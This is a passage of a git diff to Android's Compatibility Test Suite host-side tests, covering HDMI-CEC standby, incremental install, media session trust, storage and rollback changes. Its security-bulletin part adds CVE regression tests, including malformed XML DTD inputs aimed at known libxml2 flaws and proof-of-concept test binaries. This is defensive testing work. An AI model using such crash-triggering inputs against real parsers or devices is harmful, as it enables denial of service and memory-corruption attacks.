-        try {
-            TimeUnit.SECONDS.sleep(5);
-            checkDeviceAsleepAfterStandbySent(LogicalAddress.TV, LogicalAddress.BROADCAST);
-            /* Wake up the TV */
-            hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
-            checkDeviceAsleepAfterStandbySent(LogicalAddress.RECORDER_1, LogicalAddress.BROADCAST);
-            /* Wake up the TV */
-            hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
-            checkDeviceAsleepAfterStandbySent(LogicalAddress.AUDIO_SYSTEM, LogicalAddress.BROADCAST);
-            /* Wake up the TV */
-            hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
-            checkDeviceAsleepAfterStandbySent(LogicalAddress.PLAYBACK_2, LogicalAddress.BROADCAST);
-        } finally {
-            /* Wake up the TV */
-            hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
-        }
-    }
-
-    /**
-     * Test 11.2.3-3
-     * Tests that the device goes into standby when a <STANDBY> message is sent to it.
-     */
-    @Test
-    public void cect_11_2_3_3_HandleAddressedStandby() throws Exception {
-        getDevice().executeShellCommand("reboot");
-        getDevice().waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.TV, LogicalAddress.PLAYBACK_1);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.RECORDER_1, LogicalAddress.PLAYBACK_1);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.AUDIO_SYSTEM, LogicalAddress.PLAYBACK_1);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.PLAYBACK_2, LogicalAddress.PLAYBACK_1);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.BROADCAST, LogicalAddress.PLAYBACK_1);
-    }
-
-    /**
-     * Test 11.2.3-4
-     * Tests that the device does not broadcast a <STANDBY> when going into standby mode.
-     */
-    @Test
-    public void cect_11_2_3_4_NoBroadcastStandby() throws Exception {
-        ITestDevice device = getDevice();
-        boolean wasOn = setHdmiControlDeviceAutoOff(false);
-        try {
-            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-            hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST, CecOperand.STANDBY);
-            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        } finally {
-            setHdmiControlDeviceAutoOff(wasOn);
-        }
-    }
-}
diff --git a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
index d847e3c..6e7adc6 100644
--- a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
+++ b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
@@ -135,11 +135,14 @@
     public void testBaseApkMissingSignatureAdbInstall() throws Exception {
         String newApkName = String.format("base%d.apk", new Random().nextInt());
         // Create a copy of original apk but not its idsig.
-        copyTestFile(TEST_APP_BASE_APK_NAME, newApkName);
-        String output = installWithAdbInstaller(newApkName);
-        verifyInstallCommandFailure(output);
-        assertTrue(output.contains(String.format("Failed to stat signature file %s",
-                getFilePathFromBuildInfo(newApkName) + SIG_SUFFIX)));
+        copyTestFile(TEST_APP_BASE_APK_NAME, null, newApkName);
+        // Make sure it installs.
+        assertTrue(
+                installWithAdbInstaller(TEST_APP_BASE_APK_NAME).contains(INSTALL_SUCCESS_OUTPUT));
+        verifyPackageInstalled(TEST_APP_PACKAGE_NAME);
+        verifyInstallationTypeAndVersion(TEST_APP_PACKAGE_NAME, /* isIncfs= */ true,
+                TEST_APP_V1_VERSION);
+        validateAppLaunch(TEST_APP_PACKAGE_NAME, ON_CREATE_COMPONENT);
 
     }
 
@@ -147,8 +150,9 @@
     public void testBaseApkInvalidSignatureAdbInstall() throws Exception {
         String newApkName = String.format("base%d.apk", new Random().nextInt());
         String sigSuffix = ".idsig";
-        copyTestFile(TEST_APP_BASE_APK_NAME, newApkName);
-        copyTestFile(TEST_APP_BASE_APK_NAME + sigSuffix, newApkName + sigSuffix);
+        File destApk = copyTestFile(TEST_APP_BASE_APK_NAME, null, newApkName);
+        copyTestFile(TEST_APP_BASE_APK_NAME + sigSuffix, destApk.getParentFile(),
+                newApkName + sigSuffix);
         try (RandomAccessFile raf = new RandomAccessFile(
                 getFilePathFromBuildInfo(newApkName + sigSuffix), "rw")) {
             // Contaminate signature by complementing a random byte.
@@ -351,10 +355,11 @@
         return mBuildHelper.getTestFile(filename).getAbsolutePath();
     }
 
-    private void copyTestFile(String sourceFilename, String destFilename) throws IOException {
+    private File copyTestFile(String sourceFilename, File destPath, String destFilename) throws IOException {
         File source = new File(getFilePathFromBuildInfo(sourceFilename));
-        File dest = new File(source.getParentFile(), destFilename);
+        File dest = new File(destPath != null ? destPath : source.getParentFile(), destFilename);
         FileUtil.copyFile(source, dest);
+        return dest;
     }
 
     private void uninstallApp(String packageName) throws Exception {
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
index 9edd60c..34b3add 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
@@ -17,6 +17,7 @@
 package android.inputmethodservice.cts.ime;
 
 import android.graphics.Bitmap;
+import android.graphics.Color;
 
 import androidx.annotation.AnyThread;
 import androidx.annotation.ColorInt;
@@ -26,6 +27,13 @@
  * A utility class that represents A8R8G8B bitmap as an integer array.
  */
 final class BitmapImage {
+    /**
+     * Tolerance level between the expected color and the actual color in each color channel.
+     *
+     * <p>See Bug 174534092 about why we ended up having this.</p>
+     */
+    private static final int TOLERANCE = 4;
+
     @NonNull
     private final int[] mPixels;
     private final int mWidth;
@@ -91,7 +99,22 @@
     }
 
     /**
-     * Checks if the same image can be found in the specified {@link BitmapImage}
+     * Compares two given pixels to determine whether those two pixels are considered to be
+     * the same within {@link #TOLERANCE}.
+     *
+     * @param lhs a color integer to be compared.
+     * @param rhs another color integer to be compared.
+     * @return {@true} if two given pixels are the same within {@link #TOLERANCE}.
+     */
+    private static boolean robustMatchInternal(@ColorInt int lhs, @ColorInt int rhs) {
+        return lhs == rhs || (Math.abs(Color.red(lhs) - Color.red(rhs)) <= TOLERANCE
+                && Math.abs(Color.green(lhs) - Color.green(rhs)) <= TOLERANCE
+                && Math.abs(Color.blue(lhs) - Color.blue(rhs)) <= TOLERANCE);
+    }
+
+    /**
+     * Checks if the same image can be found in the specified {@link BitmapImage} within a certain
+     * error margin.
      *
      * @param targetImage {@link BitmapImage} to be checked.
      * @param offsetX X offset in the {@code targetImage} used when comparing.
@@ -99,7 +122,7 @@
      * @return
      */
     @AnyThread
-    boolean match(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
+    boolean robustMatch(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
         final int targetWidth = targetImage.getWidth();
         final int targetHeight = targetImage.getHeight();
 
@@ -113,7 +136,7 @@
                 if (targetY < 0 || targetHeight <= targetY) {
                     return false;
                 }
-                if (targetImage.getPixel(targetX, targetY) != getPixel(x, y)) {
+                if (!robustMatchInternal(targetImage.getPixel(targetX, targetY), getPixel(x, y))) {
                     return false;
                 }
             }
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
index e3fd024..5d0cb0c 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
@@ -204,7 +204,7 @@
         // Search from the bottom line with an assumption that the IME is shown at the bottom.
         for (int offsetY = targetImage.getHeight() - 1; offsetY >= 0; --offsetY) {
             for (int offsetX = 0; offsetX < targetImage.getWidth(); ++offsetX) {
-                if (mImage.match(targetImage, offsetX, offsetY)) {
+                if (mImage.robustMatch(targetImage, offsetX, offsetY)) {
                     return true;
                 }
             }
diff --git a/hostsidetests/media/OWNERS b/hostsidetests/media/OWNERS
index 8d6b291e..eab19a0 100644
--- a/hostsidetests/media/OWNERS
+++ b/hostsidetests/media/OWNERS
@@ -4,3 +4,7 @@
 marcone@google.com
 sungsoo@google.com
 jaewan@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index b752b41..6ed0e60 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -18,6 +18,7 @@
 
 import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
 
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -25,6 +26,8 @@
 import android.content.Context;
 import android.media.session.MediaController;
 import android.media.session.MediaSessionManager;
+import android.media.session.MediaSessionManager.RemoteUserInfo;
+import android.os.Process;
 import android.service.notification.NotificationListenerService;
 
 import androidx.test.InstrumentationRegistry;
@@ -42,15 +45,16 @@
  */
 @SmallTest
 public class MediaSessionManagerTest extends NotificationListenerService {
-    private ComponentName mComponentName;
+    private Context mContext;
     private MediaSessionManager mMediaSessionManager;
+    private ComponentName mComponentName;
 
     @Before
     public void setUp() throws Exception {
-        Context context = InstrumentationRegistry.getTargetContext();
-        mMediaSessionManager = (MediaSessionManager) context.getSystemService(
-                Context.MEDIA_SESSION_SERVICE);
-        mComponentName = new ComponentName(context, MediaSessionManagerTest.class);
+        mContext = InstrumentationRegistry.getTargetContext();
+        mMediaSessionManager =
+                mContext.getSystemService(MediaSessionManager.class);
+        mComponentName = new ComponentName(mContext, MediaSessionManagerTest.class);
     }
 
     /**
@@ -95,4 +99,24 @@
         List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
         assertTrue(controllers.isEmpty());
     }
+
+    /**
+     * Tests if this application is trusted.
+     */
+    @Test
+    public void testIsTrusted_returnsTrue() throws Exception {
+        RemoteUserInfo userInfo = new RemoteUserInfo(
+                mContext.getPackageName(), Process.myPid(), Process.myUid());
+        assertTrue(mMediaSessionManager.isTrustedForMediaControl(userInfo));
+    }
+
+    /**
+     * Tests if this application isn't trusted.
+     */
+    @Test
+    public void testIsTrusted_returnsFalse() throws Exception {
+        RemoteUserInfo userInfo = new RemoteUserInfo(
+                mContext.getPackageName(), Process.myPid(), Process.myUid());
+        assertFalse(mMediaSessionManager.isTrustedForMediaControl(userInfo));
+    }
 }
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index 750e98c..e4956b0 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -251,6 +251,37 @@
         runTest("testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper");
     }
 
+    @AppModeFull
+    @RequiresDevice
+    public void testIsTrusted_withEnabledNotificationListener_returnsTrue() throws Exception {
+        if (!canCreateAdditionalUsers(1)) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Cannot create a new user. Skipping multi-user test cases.");
+            return;
+        }
+
+        int newUserId = createAndStartUser();
+        setAllowGetActiveSessionForTest(true, newUserId);
+        installAppAsUser(DEVICE_SIDE_TEST_APK, newUserId, false);
+        runTestAsUser("testIsTrusted_returnsTrue", newUserId);
+    }
+
+    @AppModeFull
+    @RequiresDevice
+    public void testIsTrusted_withoutEnabledNotificationListener_returnsFalse()
+            throws Exception {
+        if (!canCreateAdditionalUsers(1)) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Cannot create a new user. Skipping multi-user test cases.");
+            return;
+        }
+
+        int newUserId = createAndStartUser();
+        setAllowGetActiveSessionForTest(false, newUserId);
+        installAppAsUser(DEVICE_SIDE_TEST_APK, newUserId, false);
+        runTestAsUser("testIsTrusted_returnsFalse", newUserId);
+    }
+
     private void runTest(String testMethodName) throws DeviceNotAvailableException {
         runTestAsUser(testMethodName, getDevice().getPrimaryUserId());
     }
diff --git a/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java b/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
index d2c463a..57b4c1b 100644
--- a/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
@@ -27,6 +27,8 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
+import junit.framework.AssertionFailedError;
+
 public class ProcfsHostTests extends DeviceTestCase implements IBuildReceiver {
   // We need a running test app to test /proc/[PID]/* files.
   private static final String TEST_APP_PACKAGE = "android.os.procfs";
@@ -114,10 +116,20 @@
   public void testProcTidStat() throws Exception {
     int[] tids = lookForTidsInProcess(mTestAppPid);
     assertTrue("/proc/" + mTestAppPid + "/task/ includes < 2 threads", tids.length >= 2);
+    int successCount = 0;
     for (int tid : tids) {
-      readAndCheckFile(
-          "/proc/" + mTestAppPid + "/task/" + tid + "/stat", "cat ", PID_TID_STAT_PATTERN);
+      String filePath = "/proc/" + mTestAppPid + "/task/" + tid + "/stat";
+      try {
+        readAndCheckFile(filePath, "cat ", PID_TID_STAT_PATTERN);
+        successCount++;
+      } catch (AssertionFailedError e) {
+        // Threads may be short-lived. Make sure they're still there before throwing assertion error
+        if (mDevice.doesFileExist(filePath)) {
+          throw e;
+        }
+      }
     }
+    assertTrue("/proc/" + mTestAppPid + "/task/ includes < 2 threads", successCount >= 2);
   }
 
   /**
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index d37b0f5..5b19d4b 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -58,7 +58,7 @@
 
     private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(30L);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(60L);
 
     private TestStrategy mTest;
 
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java
index 03d60bc..0bfc6c6 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java
@@ -72,7 +72,7 @@
 
         mContext.sendBroadcast(getRequestIntent(mimeGroup, mimeTypes, request));
 
-        Intent response = receiver.awaitForBroadcast(TimeUnit.SECONDS.toMillis(5L));
+        Intent response = receiver.awaitForBroadcast(TimeUnit.SECONDS.toMillis(60L));
 
         mContext.unregisterReceiver(receiver);
 
diff --git a/hostsidetests/rollback/TEST_MAPPING b/hostsidetests/rollback/TEST_MAPPING
index a353a74..acec493 100644
--- a/hostsidetests/rollback/TEST_MAPPING
+++ b/hostsidetests/rollback/TEST_MAPPING
@@ -1,5 +1,5 @@
 {
-  "presubmit": [
+  "presubmit-large": [
     {
       "name": "CtsRollbackManagerHostTestCases"
     }
diff --git a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
index 0a0ea0d..9ca1f63 100644
--- a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
+++ b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
@@ -19,9 +19,11 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.hamcrest.CoreMatchers.endsWith;
+import static org.hamcrest.CoreMatchers.equalTo;
 import static org.hamcrest.CoreMatchers.not;
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeThat;
 
 import android.cts.install.lib.host.InstallUtilsHost;
 
@@ -160,6 +162,7 @@
      */
     @Test
     public void testApexAndApkStagedRollback() throws Exception {
+        assumeSystemUser();
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
         run("testApexAndApkStagedRollback_Phase1");
@@ -171,6 +174,12 @@
         run("testApexAndApkStagedRollback_Phase4");
     }
 
+    private void assumeSystemUser() throws Exception {
+        String systemUser = "0";
+        assumeThat("Current user is not system user",
+                getDevice().executeShellCommand("am get-current-user").trim(), equalTo(systemUser));
+    }
+
     /**
      * Tests that apex update expires existing rollbacks for that apex.
      */
diff --git a/hostsidetests/scopedstorage/OWNERS b/hostsidetests/scopedstorage/OWNERS
index 0b2799a..ed4dc2a 100644
--- a/hostsidetests/scopedstorage/OWNERS
+++ b/hostsidetests/scopedstorage/OWNERS
@@ -1,6 +1 @@
-corinac@google.com
-jsharkey@android.com
-maco@google.com
-marcone@google.com
-nandana@google.com
-zezeozue@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 6b24594..636972a 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -623,11 +623,20 @@
      * Asserts can rename file.
      */
     public static void assertCanRenameFile(File oldFile, File newFile) {
+        assertCanRenameFile(oldFile, newFile, /* checkDB */ true);
+    }
+
+    /**
+     * Asserts can rename file and optionally checks if the database is updated after rename.
+     */
+    public static void assertCanRenameFile(File oldFile, File newFile, boolean checkDatabase) {
         assertThat(oldFile.renameTo(newFile)).isTrue();
         assertThat(oldFile.exists()).isFalse();
         assertThat(newFile.exists()).isTrue();
-        assertThat(getFileRowIdFromDatabase(oldFile)).isEqualTo(-1);
-        assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+        if (checkDatabase) {
+            assertThat(getFileRowIdFromDatabase(oldFile)).isEqualTo(-1);
+            assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+        }
     }
 
     /**
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 47b45ed..99fc1a3 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -2186,18 +2186,18 @@
             assertFileContent(otherAppPdf, BYTES_DATA1);
 
             // Assert we can rename the file and ensure the file has the same content
-            assertCanRenameFile(otherAppPdf, pdf);
+            assertCanRenameFile(otherAppPdf, pdf, /* checkDatabase */ false);
             assertFileContent(pdf, BYTES_DATA1);
             // We can even move it to the top level directory
-            assertCanRenameFile(pdf, topLevelPdf);
+            assertCanRenameFile(pdf, topLevelPdf, /* checkDatabase */ false);
             assertFileContent(topLevelPdf, BYTES_DATA1);
             // And even rename to a place where PDFs don't belong, because we're an omnipotent
             // external storage manager
-            assertCanRenameFile(topLevelPdf, pdfInObviouslyWrongPlace);
+            assertCanRenameFile(topLevelPdf, pdfInObviouslyWrongPlace, /* checkDatabase */ false);
             assertFileContent(pdfInObviouslyWrongPlace, BYTES_DATA1);
 
             // And we can even convert it into a music file, because why not?
-            assertCanRenameFile(pdfInObviouslyWrongPlace, musicFile);
+            assertCanRenameFile(pdfInObviouslyWrongPlace, musicFile, /* checkDatabase */ false);
             assertFileContent(musicFile, BYTES_DATA1);
         } finally {
             pdf.delete();
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 6741b82..6de6044 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -262,6 +262,8 @@
         put("SDM429", null);
         put("SDM439", null);
         put("QM215", null);
+        put("ATOLL", null);
+        put("ATOLL-AB", null);
         put("BENGAL", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
             "CONFIG_UNMAP_KERNEL_AT_EL0=y"});
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 41a05d5..9a5c29d 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -46,6 +46,11 @@
         <option name="push" value="Bug-137878930->/data/local/tmp/Bug-137878930" />
 
         <!--__________________-->
+        <!-- Bulletin 2015-10 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2015-3873->/data/local/tmp/CVE-2015-3873" />
+
+        <!--__________________-->
         <!-- Bulletin 2016-04 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
@@ -165,6 +170,7 @@
         <!--__________________-->
         <!-- Bulletin 2018-02 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-0837->/data/local/tmp/CVE-2017-0837" />
         <option name="push" value="CVE-2017-13273->/data/local/tmp/CVE-2017-13273" />
         <option name="push" value="CVE-2017-13232->/data/local/tmp/CVE-2017-13232" />
 
@@ -181,11 +187,15 @@
         <!--__________________-->
         <!-- Bulletin 2018-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2018-9428->/data/local/tmp/CVE-2018-9428" />
         <option name="push" value="CVE-2018-9424->/data/local/tmp/CVE-2018-9424" />
 
         <!--__________________-->
         <!-- Bulletin 2018-09 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2018-9466-CVE-2017-9047->/data/local/tmp/CVE-2018-9466-CVE-2017-9047" />
+        <option name="push" value="CVE-2018-9466-CVE-2017-9048->/data/local/tmp/CVE-2018-9466-CVE-2017-9048" />
+        <option name="push" value="CVE-2018-9466-CVE-2017-9049->/data/local/tmp/CVE-2018-9466-CVE-2017-9049" />
         <option name="push" value="CVE-2018-9472->/data/local/tmp/CVE-2018-9472" />
 
         <!--__________________-->
@@ -197,6 +207,7 @@
         <!--__________________-->
         <!-- Bulletin 2018-11 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2018-9537->/data/local/tmp/CVE-2018-9537" />
         <option name="push" value="CVE-2018-9539->/data/local/tmp/CVE-2018-9539" />
 
         <!--__________________-->
@@ -208,6 +219,9 @@
         <!--__________________-->
         <!-- Bulletin 2019-09 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2019-9362->/data/local/tmp/CVE-2019-9362" />
+        <option name="push" value="CVE-2019-9308->/data/local/tmp/CVE-2019-9308" />
+        <option name="push" value="CVE-2019-9357->/data/local/tmp/CVE-2019-9357" />
         <option name="push" value="CVE-2019-9313->/data/local/tmp/CVE-2019-9313" />
 
         <!--__________________-->
@@ -249,4 +263,11 @@
         <option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
         <option name="runtime-hint" value="18m26s" />
     </test>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
+        <option name="src-dir" value="/sdcard/report-log-files/"/>
+        <option name="dest-dir" value="report-log-files/"/>
+        <option name="temp-dir" value="temp-report-logs/"/>
+        <option name="device-dir" value="true"/>
+    </target_preparer>
 </configuration>
diff --git a/hostsidetests/securitybulletin/res/cve_2015_3873.mp4 b/hostsidetests/securitybulletin/res/cve_2015_3873.mp4
new file mode 100644
index 0000000..ec5938c
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2015_3873.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml
new file mode 100644
index 0000000..d9e9e83
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml
@@ -0,0 +1,3 @@
+<!DOCTYPE D [
+  <!ENTITY % a "<:0000">
+  %a;
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml
new file mode 100644
index 0000000..4f0d81a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml
@@ -0,0 +1,3 @@
+<!DOCTYPE D [
+  <!ENTITY % a "<:000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000">
+  %a;
diff --git a/hostsidetests/securitybulletin/res/cve_2019_9308.mp4 b/hostsidetests/securitybulletin/res/cve_2019_9308.mp4
new file mode 100644
index 0000000..fbfc625
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_9308.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
new file mode 100644
index 0000000..6f087cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2015-3873",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
